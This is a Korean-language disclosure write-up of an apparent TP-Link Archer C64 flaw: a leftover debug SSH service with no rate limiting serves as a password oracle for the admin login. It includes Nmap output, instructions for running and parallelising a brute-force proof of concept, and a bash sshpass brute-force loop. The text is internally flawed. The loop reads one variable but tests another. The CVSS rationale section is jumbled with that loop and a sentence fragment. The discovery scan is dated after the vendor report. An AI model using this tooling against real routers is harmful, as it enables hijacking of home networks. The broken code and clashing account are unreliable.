
라이트업
CVE-2026-8697은 TP-Link Archer C64의 OS(디버그 메시지에서는 TPOS라고 함)의 논리적 결함입니다. 이 결함으로 인해 라우터에 연결된 권한 없는 모든 사용자가 잔여 SSH 서비스를 사용하여 웹 UI 속도 제한을 우회할 수 있습니다. 간단한 Python 스크립트를 사용하여 짧은 시간에 많은 비밀번호를 시도하고 라우터에 대한 전체 관리자 액세스 권한을 얻을 수 있습니다.
POC: poc.py
라우터에는 셸을 제공하지 않는 디버그 SSH 서비스가 있으며, 올바른 비밀번호가 입력되면 그냥 종료됩니다. 그러나 이 서비스는 관리자 인터페이스와 동일한 비밀번호를 사용하며 속도 제한이나 잠금 정책이 없습니다. 따라서 고속 인증 오라클로 사용하여 비밀번호를 무차별 대입할 수 있습니다. 이 취약점은 네트워크상의 악성 또는 손상된 IoT 장치가 라우터에 대한 전체 관리자 액세스 권한을 얻는 데 사용될 수 있습니다. 공격자는 이 인터페이스를 통해 셸 액세스 권한을 얻을 수는 없지만, 기본 웹 관리 인터페이스를 손상시키기 위해 자격 증명을 쉽게 확인할 수 있습니다.
이 취약점은 펌웨어 버전 1.15.0에서 패치되었으며, 해당 버전은 단순히 이 서비스를 제거합니다. 라우터를 테스트하려면 이 명령을 사용하십시오(Linux/macOS):
timeout 10 nc -vz 192.168.0.1 22
echo $?
IP 주소를 라우터의 웹 인터페이스에 접속할 때 사용하는 주소로 바꾸십시오. 출력이 0이거나 succeeded!가 표시되면 라우터에 취약점이 있는 것입니다. 그렇지 않으면 취약점이 없습니다.
Windows에서는 PowerShell에서 다음을 실행하십시오:
tnc 192.168.0.1 -Port 22
TcpTestSucceeded : True가 표시되면 라우터에 취약점이 있는 것입니다. 무한정 멈추거나 False로 표시되면 취약점이 없는 것입니다.
이 버그는 전적으로 논리 기반이며 메모리 손상, ASLR 우회 또는 경쟁 조건 승리가 필요하지 않습니다.
당시 저는 Nmap을 배우고 있었고 재미삼아 제 라우터를 스캔하기로 결정했습니다. 그때는 취약점을 찾고 있지 않았지만 열려 있는 SSH 서비스를 발견했습니다.
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey:
|_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp open tcpwrapped
80/tcp open http TP-LINK router http config
|_http-title: Opening...
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after: 2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
위 로그는 2014년의 레거시 버전인 OpenSSH 6.6.0을 실행하는 SSH 서비스를 보여줍니다(버전은 이 취약점과 무관합니다). 매우 오래된 버전을 보고 저는 공격자가 이를 악용할 수 있다고 의심했고, 셸을 얻고 펌웨어를 업데이트할 목적으로 SSH 접속을 시도했습니다. 그 시점에서 저는 취약점을 찾는 것이 아니라 라우터를 보호하려고 하고 있었습니다. 그러나 접속해 보니 흥미로운 문제가 있었습니다. 제 OpenSSH 버전에서는 호스트 키와 공개 키 알고리즘이 지원되지 않았습니다. -o 옵션도 제 시스템에서 작동하지 않아서 diffie-hellman-group14-sha1 및 ssh-dss 알고리즘을 지원하는 OpenSSH 클라이언트가 있는 debian:bullseye-slim 컨테이너를 사용해야 했습니다.
컨테이너 내부에서 OpenSSH 클라이언트를 설치한 후 SSH 서버에 접속할 수 있었습니다.
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-dss [email protected]
이 명령을 사용하여 마침내 SSH 서버에 접속할 수 있었고, 서버는 TPOS 5 IPSSH Test 메시지와 비밀번호 프롬프트로 맞이했습니다. 그러나 비밀번호를 입력한 후 연결이 즉시 종료되었습니다. 명령을 직접 실행해 보았지만 명령이 실행되지 않았습니다. 셸이 없으므로 공격자가 제 라우터에 접근할 수 없다는 것을 깨달았습니다. 그렇다면 제 라우터는 안전한 것일까요? 사실 그렇지 않습니다. 아무런 액세스 권한을 얻지 못하더라도 비밀번호가 맞는지 여부는 _알 수 있다_는 것을 깨달았습니다. 그리고 그 비밀번호는 웹 인터페이스 비밀번호와 동일했으며, 무차별 대입 공격을 막을 속도 제한이나 기타 조치가 전혀 없었습니다. 그때 이것을 CVE로 만들 생각이 떠올랐습니다. 공격을 자동화해 보았습니다. 처음에는 bash 루프에서 sshpass를 사용해 보았지만 연결당 여러 비밀번호를 사용할 수 없어서 Python 스크립트를 만들었습니다. 그것이 첨부된 POC입니다.
POC를 사용하려면 먼저 venv를 만들고 pexpect를 설치하십시오. 이 스크립트는 단일 연결에서 여러 비밀번호를 시도하는 것을 지원하지 않기 때문에 Pexpect의 pxssh 모듈을 사용하지 않습니다.
python3 -m venv venv
source venv/bin/activate
pip install pexpect
스크립트를 poc.py로 저장하고 실행하십시오. 선택적으로 첫 번째 인수로 줄바꿈으로 구분된 비밀번호 목록 파일의 경로를 전달할 수 있습니다. 전달하지 않으면 1부터 100까지의 숫자를 비밀번호로 사용합니다(속도 테스트용).
python3 poc.py list.txt
서로 다른 목록으로 여러 인스턴스를 실행하여 공격을 병렬화할 수 있습니다. 3개 이상의 인스턴스를 실행하면 연결 오류가 발생하기 시작합니다. 그래도 스크립트는 모든 비밀번호가 시도되도록 보장합니다.
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &
공격자는 네트워크상의 악성 또는 손상된 IoT 장치를 사용하여 비밀번호를 무차별 대입하고 관리자 인터페이스에 대한 관리자 액세스 권한을 얻을 수 있습니다. 사용자에게는 이러한 상황이 발생하고 있다는 표시가 없으며, 공격자는 탐지되지 않은 채 오랫동안 이 작업을 수행할 수 있습니다. 공격자가 관리자 인터페이스에 접근하면 DNS 설정을 변경하여 DNS 하이재킹을 수행하고, Wi-Fi 비밀번호를 변경하여 사용자를 잠그고, 정적 라우팅을 사용하여 암호화되지 않은 트래픽을 가로채거나 존재하지 않는 IP로 라우팅하여 네트워크 액세스를 차단하고, 포트를 전달하고, 방화벽/ALG를 끄는 등의 작업을 할 수 있습니다.
이 취약점의 CVSS 4.0 공격 벡터는 다음과 같습니다:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H
, 이는 9.3 Critical 점수로 환산됩니다. 각 지표에 대한 근거는 다음과 같습니다:
while read pass;do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
if [ $? -eq 0 ]; then
echo "Password found: $PASS"
break
fi
done < list.txt
(참고: 이 방법은 연결당 여러 비밀번호를 시도하지 않으므로 POC 스크립트보다 느립니다)
AV:A에
포함되어 있습니다.공급업체(TP-Link)는 이 취약점을 8.7 (High) 점수로 공개했으며 벡터는 다음과 같습니다:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
그러나 이 연구는 후속 시스템 영향(Subsequent System Impact) 이 "없음(None)"으로 평가되어서는 안 된다고 주장합니다. 라우터는 연결된 모든 장치의 기본 게이트웨이 역할을 하기 때문입니다:
따라서 홈 네트워크에 대한 위험을 보다 정확하게 나타내면 위에서 논의한 대로 9.3/Critical 입니다.
라우터 펌웨어를 1.15.0 Build 250729 이상으로 업데이트하면 이 문제가 해결됩니다.
이 취약점은 Tanjim Kamal에 의해 발견되어 보고되었습니다.
| 날짜 | 이벤트 |
|---|
| 2026-02-26 | TP-Link 제품 보안 팀에 취약점 보고 |
| 2026-03-03 | 최초 접수 확인 |
| 2026-03-14 | TP-Link가 검증 및 수정 단계에 있다고 확인 |
| 2026-04-22 | TP-Link가 펌웨어 1.15.0에서 취약점이 수정되었다고 밝혔지만 펌웨어는 아직 공개되지 않음 |
| 2026-04-24 | 펌웨어 공개 |
| 2026-04-26 | 패치 확인 및 CVE ID 요청 |
| 2026-05-15 | 90일 공개 시한 알림을 TP-Link에 발송 |
| 2026-05-15 | CVE ID 예약 |
| 2026-05-29 | 공개 발표 |
| 2026-05-29 | 분석 보고서 게시(이 문서) |